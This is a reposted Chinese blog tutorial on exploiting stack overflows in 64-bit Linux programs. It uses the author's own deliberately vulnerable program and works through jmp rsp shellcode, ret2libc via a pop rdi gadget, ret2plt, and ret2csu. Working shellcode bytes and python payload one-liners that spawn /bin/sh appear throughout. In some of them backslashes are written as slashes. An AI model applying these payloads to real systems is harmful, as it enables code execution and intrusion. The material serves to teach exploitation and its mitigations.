转载

Linux64位程序中的漏洞利用

之前在 栈溢出漏洞的利用和缓解 中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况应用程序. 所以理解32位环境也是有必要的. 不过, 现在毕竟已经是2018年了, 64位程序也逐渐成为主流, 尤其是在Linux环境中. 因此本篇就来说说64位下的利用与32位下的利用和缓解绕过方法有何异同.

基础知识

寄存器

我们所说的32位和64位, 其实就是寄存器的大小. 对于32位寄存器大小为32/8=4字节, 那64位自然是64/8=8字节了. 寄存器的大小对程序的直接影响就是地址空间, 因为CPU获取数据/地址还是要通过寄存器来传递, 32位程序地址空间最多也只有 2^32-1=4GB(不考虑内核空间), 64位则将地址空间提高了几十亿倍, 充分利用了 机器的内存.

x86

对于x86架构的CPU, 通常会用到的寄存器有下列这些:

(gdb) info registers 
eax            0xf7fa6dbc   -134582852
ecx            0x5cb15f85   1555128197
edx            0xffffc834   -14284
ebx            0x0  0
esp            0xffffc808   0xffffc808
ebp            0xffffc808   0xffffc808
esi            0x1  1
edi            0xf7fa5000   -134590464
eip            0x56555563   0x56555563 <main+3>
eflags         0x292    [ AF SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

这些寄存器可以分为四类:

通用寄存器:
EAX EBX ECX EDX

索引和指针:
ESI EDI EBP ESP EIP

段寄存器:
CS SS DS ES FS GS

指示器:
EFLAGS

其中EAX~EDX四个通用寄存器支持部分引用, 如EAX低16位可通过AX来引用, AL的高8位和低8位又可以分别通过AH和AL来引用.

有的文档将ESI,EDI也称为通用寄存器, 因为他们也是程序可自由读写的, 不过他们不支持部分引用. EBP/ESP分别称为栈基指针和栈指针, 分别指向 当前栈帧的栈底和栈顶. EIP为PC指针, 指向将要执行的下一条指令.

段寄存器(Segment registers)保存了不同目标的段地址, 只有16种取值, 只能被通用寄存器或者特殊指令设置.

段寄存器 作用
CS Code Segment
SS Stack Segment
DS Data Segment
ES,FS,GS 主要用作远指针寻址

指示器EFLAGS保存了指令运行的一些状态(flag), 比如进位,符号等, Intel文档定义如下:

Bit Label Desciption
0 CF Carry flag
2 PF Parity flag
4 AF Auxiliary carry flag
6 ZF Zero flag
7 SF Sign flag
8 TF Trap flag
9 IF Interrupt enable flag
10 DF Direction flag
11 OF Overflow flag
12-13 IOPL I/O Priviledge level
14 NT Nested task flag
16 RF Resume flag
17 VM Virtual 8086 mode flag
18 AC Alignment check flag (486+)
19 VIF Virutal interrupt flag
20 VIP Virtual interrupt pending flag
21 ID ID flag

这个32位寄存器中上面没提到的位是由Intel保留的.

x86-64

x86-64架构下的寄存器种类和32位差不多:

(gdb) info  registers 
rax            0x555555554660   93824992233056
rbx            0x0  0
rcx            0x0  0
rdx            0x7fffffffd708   140737488344840
rsi            0x7fffffffd6f8   140737488344824
rdi            0x1  1
rbp            0x7fffffffd610   0x7fffffffd610
rsp            0x7fffffffd610   0x7fffffffd610
r8             0x5555555546e0   93824992233184
r9             0x7ffff7de8cb0   140737351945392
r10            0x8  8
r11            0x1  1
r12            0x555555554530   93824992232752
r13            0x7fffffffd6f0   140737488344816
r14            0x0  0
r15            0x0  0
rip            0x555555554664   0x555555554664 <main+4>
eflags         0x246    [ PF ZF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0

只不过寄存器大小从32位变成了64位, 而且增加了8个通用寄存器(r8~r15). 和x86一样, rax~rdx这四个通用寄存器也支持部分寻址:

0x1122334455667788
  ================ RAX (64位)
          ======== EAX (低32位)
              ====  AX (低16位)
              ==    AH (高8位)
                ==  AL (低8位)

调用约定

32位和64位程序的区别, 更多的是体现在 调用约定(Calling Convention) 上. 因为64位程序有了更多的通用寄存器, 所以通常会使用寄存器来进行函数参数传递 而不是通过栈, 来获得更高的运行速度.

本文主要是介绍Linux平台下的漏洞利用, 所以就专注于 System V AMD64 ABI 的调用约定, 即函数参数从左到右依次用寄存器RDI,RSI,RDX,RCX,R8,R9来进行传递, 如果参数个数多于6个, 再通过栈来进行传递.

$ cat victim.c
int foo(int a, int b, int c,  int d,  int e,  int f,  int g,  int h) {
    return a + b + c + d + e + f + g + h;
}
int main() {
    foo(1, 2, 3, 4, 5, 6, 7, 8);
    return 0;
}
$ gcc victim.c -o victim
$ objdump -d victim | grep "<main>:" -A 11
00000000000006a0 <main>:
 6a0:   55                      push   rbp
 6a1:   48 89 e5                mov    rbp,rsp
 6a4:   6a 08                   push   0x8
 6a6:   6a 07                   push   0x7
 6a8:   41 b9 06 00 00 00       mov    r9d,0x6
 6ae:   41 b8 05 00 00 00       mov    r8d,0x5
 6b4:   b9 04 00 00 00          mov    ecx,0x4
 6b9:   ba 03 00 00 00          mov    edx,0x3
 6be:   be 02 00 00 00          mov    esi,0x2
 6c3:   bf 01 00 00 00          mov    edi,0x1
 6c8:   e8 93 ff ff ff          call   660 <foo>

漏洞利用

回忆一下之前在 栈溢出漏洞的利用和缓解 中介绍的漏洞利用流程, 我们的目的是通过溢出等内存破坏的漏洞来执行任意的代码, 为实现这个目的, 就要按照调用约定来对内存进行精确布局, 然后执行恶意跳转. 在32位的环境下, 因为函数参数都是通过栈传递, 而我们有能溢出栈 进行任意写, 所以利用起来很直接, 到了64位环境中就需要做点改变了.

在本文接下来的介绍中, 都以下面的程序为目标来说明64位环境中如何 正确地利用漏洞, 以及如何绕过常见的漏洞缓解措施.

// victim.c
# include <stdio.h>
int foo() {
    char buf[10];
    scanf("%s", buf);
    printf("hello %s/n", buf);
    return 0;
}
int main() {
    foo();
    printf("good bye!/n");
    return 0;
}
void dummy()
{
    __asm__("nop; jmp rsp");
} 

同样的, 我们先从最宽松的环境开始.

基本利用

与x86的栈溢出漏洞类似, 我们可以先用debruijn序列来获得溢出点:

$ gcc victim.c -o victim -g -masm=intel -fno-stack-protector -z execstack -no-pie -fno-pic
$ ragg2 -P 80 -r > victim.rr2
$ gdb victim
(gdb) run < victim.rr2 
Starting program: /home/pan/stack_overflow_demo/x64/victim < victim.rr2
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005f0 in foo () at victim.c:8
8   }
(gdb) p $rip
$1 = (void (*)()) 0x4005f0 <foo+58>

(gdb) b 6
Breakpoint 1 at 0x4005d4: file victim.c, line 6.
(gdb) run < victim.rr2 
(gdb) x/xg $rbp+8
0x7fffffffd608: 0x4149414148414147

不过, 和x86不同的是, 这里在出现段错误时, rip指针并没有被我们的序列覆盖到. 这是因为x86在传递地址时不会进行"验证". 而x64则会对根据寻址标准对地址进行检查, 规则是48~63位必须和47位相同(从0开始), 否则处理器将会产生异常. 这规则听起来有点怪, 不过考虑到用户空间最多只有 0x00007FFFFFFFFFF , 所以对正常程序而言是有保护作用的, 详情可以参考 这里 . 好吧, 那么该如何获得覆盖的rip值? 其实也很简单, 只要在溢出后打上断点, 并查看$rbp+8就是我们将要覆盖的rip值了. 如上为 0x4149414148414147 , 转换为(小端)ASCII为 GAAHAAIA , 在debruijn序列的第19位, 验证如下:

$ gdb ./victim
(gdb) run < <(python -c "print 'A'*18 + 'B'*4")
hello AAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000000042424242 in ?? ()
(gdb) p $rip
$1 = (void (*)()) 0x42424242

确实是BBBB覆盖了返回的指针. 所以栈的布局和32位下应该是类似的. 利用跳转 jmp rsp 和32位没有太大区别, 假设我们目标是通过 system("/bin/sh") 来获取shell.

先分别获得libc的基地址, system函数的偏移以及字符串的偏移:

$ LD_TRACE_LOADED_OBJECTS=1 ./victim
    linux-vdso.so.1 (0x00007ffff7ffa000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a3a000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system@
   583: 000000000003f450    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1353: 000000000003f450    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
$ rafind2 -z -s /bin/sh /lib/x86_64-linux-gnu/libc.so.6
0x1619f9

所以:

  • libc加载基地址为0x00007ffff7a3a000
  • system()地址为0x00007ffff7a3a000+0x3f450=0x7ffff7a79450
  • "/bin/sh"的地址为0x00007ffff7a3a000+0x1619f9=0x7ffff7b9b9f9

上一节说了x64下调用约定是通过寄存器来传递函数的参数, 其中第一个参数为rdi, 因此需要构造的payload应该如下:

;shellcode.asm
mov rdi, 0x7ffff7b9b9f9;
mov rdx, 0x7ffff7a79450;
call rdx;

在宽松的环境下, 栈是可执行的, 所以我们用 jmp rsp 来跳转到shellcode中:

$ rasm2 "jmp rsp"
ffe4
$ objdump -d victim | grep "ff e4"
  400615:   ff e4                   jmp    rsp
$ rasm2 -a x86 -b 64 -f shellcode.asm -C
"/x48/xbf/xf9/xb9/xb9/xf7/xff/x7f/x00/x00/x48/xba/x50/x94/xa7/xf7/xff/x7f/x00/x00/xff/xd2"

返回地址应覆盖为0x400615, 所以完整的payload验证如下(记得加上NOP sled):

$ (python -c 'print "A"*18 + "/x15/x06/x40/x00" + "/x00"*4 + "/x90"*20 + "/x48/xbf/xf9/xb9/xb9/xf7/xff/x7f/x00/x00/x48/xba/x50/x94/xa7/xf7/xff/x7f/x00/x00/xff/xd2"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)

成功获得shell. 这是最原始的通过 jmp rsp + NOP sled 劫持运行流程的方式, 和32位情况下没有太大区别.

ret2libc

return-to-libc和32位情况下的区别是函数参数需要保存在rdi寄存器中. 然而我们只能覆盖栈的地址, 所以这时候需要借助ROP方法来控制流程, 先跳转到程序中的 pop rdi; ret 片段(gadget), 再跳转到system@libc中.

$ rasm2 "pop rdi; ret"
5fc3
$ rafind2 -x 5fc3 -X victim
0x683
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000683  5fc3 9066 2e0f 1f84 0000 0000 00f3 c300  _..f............
0x00000693  0048 83ec 0848 83c4 08c3 0000 0001 0002  .H...H..........
0x000006a3  0025 7300 6865 6c6c 6f20 2573 0a00 676f  .%s.hello %s..go
0x000006b3  6f64 2062 7965 2100 0001 1b03 3b40 0000  od bye!.....;@..
0x000006c3  0007 0000 00c4 fdff ff8c 0000 0004       ..............

关键是要找到合适的gadget, 在victim里找到了这俩字节, 就算不幸没找到也没关系, 我们还可以从libc.so里去找, 这个会在后面细说.

值得一提的是32位程序加载地址为0x08048000, 而64位程序加载地址为0x00400000. 所以跳转的返回地址应该是0x00400000+0x683=0x400683, ROP链如下:

栈顶(低地址) <-------- 栈底(高地址)
...[18字节][0x400683]["/bin/sh"地址][system@libc][system返回(可选)]

和之前一样, "/bin/sh"和system()的地址和之前一样, 验证:

$ (python -c 'print "A"*18 + "/x83/x06/x40/x00/x00/x00/x00/x00" + "/xf9/xb9/xb9/xf7/xff/x7f/x00/x00" + "/x50/x94/xa7/xf7/xff/x7f/x00/x00"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA�@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)

成功返回到了libc中执行 system("/bin/sh")

ret2plt

上面用ret2libc虽然成功绕过了NX并执行命令, 但其实也不稳定. 因为我们是假定知道 了libc的加载地址(即禁用ASLR). 不过, 在上一篇 深入了解GOT,PLT和动态链接 中我们说了, ASLR虽然随机化了部分虚拟地址空间, 不过PLT却不在此列, 其地址依然 是和可执行文件的加载地址相对固定的. 如果可执行文件不是PIE(位置无关可执行文件), 那么ELF的加载地址也是固定的. 这就使得我们可以通过跳转到PLT来绕过ASLR执行任意 命令.

利用过程和上面ret2libc类似, 只不过要将 system@libc 的地址改为 system@plt . 哈, 当然, 前提是我们的程序里有system@plt.

$ gdb victim_nx
(gdb) info functions 
All defined functions:

File victim.c:
void dummy();
int foo();
int main();

Non-debugging symbols:
0x0000000000400460  _init
0x0000000000400490  puts@plt
0x00000000004004a0  printf@plt
0x00000000004004b0  __isoc99_scanf@plt
0x00000000004004c0  _start
0x00000000004004f0  deregister_tm_clones
0x0000000000400530  register_tm_clones
0x0000000000400570  __do_global_dtors_aux
0x0000000000400590  frame_dummy
0x0000000000400620  __libc_csu_init
0x0000000000400690  __libc_csu_fini
0x0000000000400694  _fini

可惜我们的程序并没有出现system的引用, 所以就不具体演示了, 因为无非是将ret2libc 改一个地址而已.

如果在实际程序中也这么不巧遇到这种情况怎么办? 这就要用到下面的方法了.

找啊找啊找libc

虽然libc.so是PIC位置无关的, 但其中每个符号的相对地址是确定的, 只要知道其中一个, 就能知道libc加载基地址和所有其他符号的位置了. 因此不论是要找函数(如system), 数据(如"/bin/bash")还是复杂的ROP gadget, 关键都是要找libc, 一旦找到libc的基地址, 这场exploit游戏也就宣告结束了.

.got.plt

在 深入了解GOT,PLT和动态链接 中我们知道, 每个函数的PLT中只包含几行代码, 作用是设置参数并跳转到GOT, 而对应GOT在解析前包含了对应PLT的下一条指令. PLT的下一条指令则动态解析符号并填充对应的GOT, 称为延时加载. 所以, GOT中有libc某些函数的真正地址, 我们可以利用它来获取libc的位置. 这种方法也叫 GOT dereference , 和GOT覆盖类似, 只不过并没有真正覆盖. 在32位情况下和64位情况下利用方式大同小异, 可以参考x86漏洞利用中的ASLR 部分, 这里就不赘述了.

offset2lib

offset2lib是在2014年提出来的一种在x64下绕过ASLR的方法, 主要利用的是Linux 实现ASLR的设计缺陷, 在程序启用PIE时会导致加载地址空间(区域)和动态库相同, 从而导致ASLR熵减少. 不过这个缺陷已经在2015年修复了, 所以不展开介绍, 感兴趣的同学可以看原文: Offset2lib: bypassing full ASLR on 64bit Linux . 虽然漏洞已经修复, 但其想法还是很值得学习的.

ret2csu

return-to-csu, 是 2018 BlackHat Asia上分享的一种绕过ASLR的新姿势 . 对于客户端程序, 我们用程序中的puts/printf可以比较简单地打印(泄漏)出libc的地址, 只需要传入合适的参数. 在文章最开始的部分我们说了, x64下调用约定是用寄存器 rdi,rsi,rdx...来传参, 所以关键是怎么把可控部分(栈)的值传给寄存器.

ROP是个好办法, 可仅考虑可执行文件的话, 不一定能找到合适的gadget. 对于一些网络程序, 我们可能要用write或者send函数来泄露libc, 这就需要3个或者 更多的参数. 可惜使用常见的自动化rop工具在小型程序中难以找到合适的gadget. 于是作者(Hector&Ismael)通过人眼审计可执行文件中的通用代码部分, 发现了两处 有趣的片段, 可以让我们控制edi,rsi和rdx, 并跳转到任意地址. 而这两处片段都在 __libc_csu_init 中, 所以该方法称为return-to-csu:

$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35
0000000000400620 <__libc_csu_init>:
   400620:  41 57                   push   r15
   400622:  41 56                   push   r14
   400624:  41 89 ff                mov    r15d,edi
   400627:  41 55                   push   r13
   400629:  41 54                   push   r12
   40062b:  4c 8d 25 d6 07 20 00    lea    r12,[rip+0x2007d6]        # 600e08 <__frame_dummy_init_array_entry>
   400632:  55                      push   rbp
   400633:  48 8d 2d d6 07 20 00    lea    rbp,[rip+0x2007d6]        # 600e10 <__init_array_end>
   40063a:  53                      push   rbx
   40063b:  49 89 f6                mov    r14,rsi
   40063e:  49 89 d5                mov    r13,rdx
   400641:  4c 29 e5                sub    rbp,r12
   400644:  48 83 ec 08             sub    rsp,0x8
   400648:  48 c1 fd 03             sar    rbp,0x3
   40064c:  e8 0f fe ff ff          call   400460 <_init>
   400651:  48 85 ed                test   rbp,rbp
   400654:  74 20                   je     400676 <__libc_csu_init+0x56>
   400656:  31 db                   xor    ebx,ebx
   400658:  0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   40065f:  00 
  /400660:  4c 89 ea                mov    rdx,r13
2| 400663:  4c 89 f6                mov    rsi,r14
 | 400666:  44 89 ff                mov    edi,r15d
  /400669:  41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
   40066d:  48 83 c3 01             add    rbx,0x1
   400671:  48 39 dd                cmp    rbp,rbx
   400674:  75 ea                   jne    400660 <__libc_csu_init+0x40>
   400676:  48 83 c4 08             add    rsp,0x8
  /40067a:  5b                      pop    rbx
 | 40067b:  5d                      pop    rbp
 | 40067c:  41 5c                   pop    r12
1| 40067e:  41 5d                   pop    r13
 | 400680:  41 5e                   pop    r14
 | 400682:  41 5f                   pop    r15
  /400684:  c3                      ret

如上图标注的片段1和片段2, 联合起来就可以实现控制rdx,rsi和edi, 虽然第一个参数 rdi只能写低32位, 不过一般write/send第一个参数都是文件描述符, 所以也足够了. 关键是 __libc_csu_init 这一段代码是所有GNU/cc编译链都会添加带可执行文件中的, 这意味着对于大多数Linux x64下的程序栈溢出漏洞都可以用该方式绕过ASLR执行程序. 对于该方法的介绍可以 查看原文 .

后记

x86和x86-64之间的漏洞利用思路大体相同, 只不过要注意payload的具体布局. 二进制漏洞本身没有什么"一招鲜"的利用方法, 也许暂时某个方法很通用, 但可能某次内核/工具链更新之后就失效了. 关键还是要理解堆栈布局和平台的调用约定, 学习别人的一些利用思路, 比如ROP等. 这样就能针对不同的应用程序和不同的运行环境 快速发现最合适的利用方式.

  • 本文地址 https://www.pppan.net/blog/detail/
  • 欢迎交流, 文章转载请注明出处, 谢谢!
原文  https://www.pppan.net/blog/detail/2018-04-15-x64-stack-exploit
正文到此结束
Loading...